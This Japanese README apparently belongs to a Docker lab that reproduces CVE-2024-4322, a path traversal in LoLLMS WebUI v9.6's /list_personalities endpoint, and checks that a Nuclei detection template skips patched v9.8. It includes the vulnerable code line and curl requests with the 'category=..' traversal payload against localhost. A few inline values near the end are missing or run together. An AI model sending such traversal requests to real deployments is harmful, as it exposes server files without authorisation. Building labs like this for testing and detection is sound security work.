このリポジトリは、LoLLMS WebUI v9.6 のパストラバーサル脆弱性である CVE-2024-4322 を再現し、関連する Nuclei テンプレートが LoLLMS WebUI v9.8 にマッチしないことを検証するための、Docker 化されたローカルラボを提供します。
このラボは、ローカル環境、所有しているターゲット、または明示的に許可を得たターゲットに対してのみ使用してください。
LoLLMS WebUI v9.6 の /list_personalities エンドポイントはパストラバーサルに対して脆弱です。ユーザーが制御できる category パラメータは、サニタイズなしで personalities_zoo_path に追記されます:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
category=.. を送信すると、リクエストは意図された personalities ディレクトリをエスケープし、親ディレクトリの内容を一覧表示できます。
期待される脆弱性シグナル:
category= -> []
category=.. -> response contains "personalities_zoo"
修正版 v9.8 の動作は、ディレクトリ一覧の前にトラバーサル入力を拒否します。
すべてのコマンドは、この README が置かれているディレクトリから実行してください。
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
以下が表示されるまで待ちます:
Uvicorn running on http://0.0.0.0:9600
Ctrl-C を押してログのフォローを停止します。コンテナは実行中のままです。
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
期待される結果:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
順序は異なる場合があります。重要なシグナルは、トラバーサル応答が対照応答と異なり、personalities_zoo が含まれていることです。
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
期待される結果:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
以下が表示されるまで待ちます:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
期待される結果:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
期待される結果:
[INF] Scan completed ... 0 matches found.

このラボには、Windows containers モードの Docker Desktop が必要です。以下のコマンドは、PowerShell でこのディレクトリから実行してください。
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
以下が表示されるまで待ちます:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
期待される結果:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
順序は異なる場合があります。重要なシグナルは、トラバーサル応答が対照応答と異なり、personalities_zoo が含まれていることです。
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
期待される結果:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

このラボには、Windows containers モードの Docker Desktop が必要です。以下のコマンドは、PowerShell でこのディレクトリから実行してください。
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
以下が表示されるまで待ちます:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
期待される結果:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
期待される結果:
[INF] Scan completed ... 0 matches found.

Linux コンテナ:
docker compose --profile patched down --rmi local
Windows コンテナ:
docker compose --profile windows down
curl。jq。Linux ホストに jq がない場合は、analyst コンテナを使用してください:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Windows に Nuclei がインストールされていない場合は、https://github.com/projectdiscovery/nuclei/releases から Windows 用リリースバイナリをダウンロードし、解凍して、展開したディレクトリから nuclei.exe を直接実行してください。
Dockerfile はビルド中に過去のインストーラにパッチを適用するため、このラボは今日でも再現可能です:
脆弱版ラボは lollms-webui の v9.6 タグをクローンします。
パッチ適用版ラボは lollms-webui の v9.8 タグをクローンします。
lollms_core サブモジュールの URL は、旧ソースの履歴が移動したため、https://github.com/ParisNeo/lollms_legacy.git に書き換えられます。
バージョンの固定は上流の Git メタデータと照合して確認されます:v9.6 は e2f2d313cd6ea3fe81dfc4496f985f5b650853b9、v9.8 は 8a8e3a1c386321f641a014bf8f7029512ccad411 です。
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
対応する lollms_core サブモジュールのコミットは、v9.6 では 、v9.8 では であり、各タグのチェックアウトで を使用して確認されます。
崩れていた不変条件は次のとおりです:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 以降は、category パスがファイルシステムのディレクトリ一覧ロジックに到達する前にサニタイズまたは制約することで、この問題に対処しています。実際のデプロイでは、LoLLMS WebUI をバージョン 9.8 以降にアップグレードしてください。
| 環境 | バージョン | サービス | ホスト URL | 期待されるテンプレート結果 |
|---|
| Linux 脆弱版 | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | マッチ |
| Linux パッチ適用版 | v9.8 | linux-patched-server | http://127.0.0.1:9602 | マッチしない |
| Windows 脆弱版 | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | マッチ |
| Windows パッチ適用版 | v9.8 | windows-patched-server | http://127.0.0.1:9603 | マッチしない |
cfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_coreauto_update と auto_sync_* オプションは無効化され、各ラボが固定状態に保たれます。
サーバーがプロンプトなしで起動できるように、ヘッドレス設定ファイルが注入されます。
エンドポイントの検証に不要な重い依存関係は、可能な限りスキップされます。
Windows インストーラは、一時ディレクトリを作成し、古くなった再帰サブモジュールを回避するようにパッチが適用されます。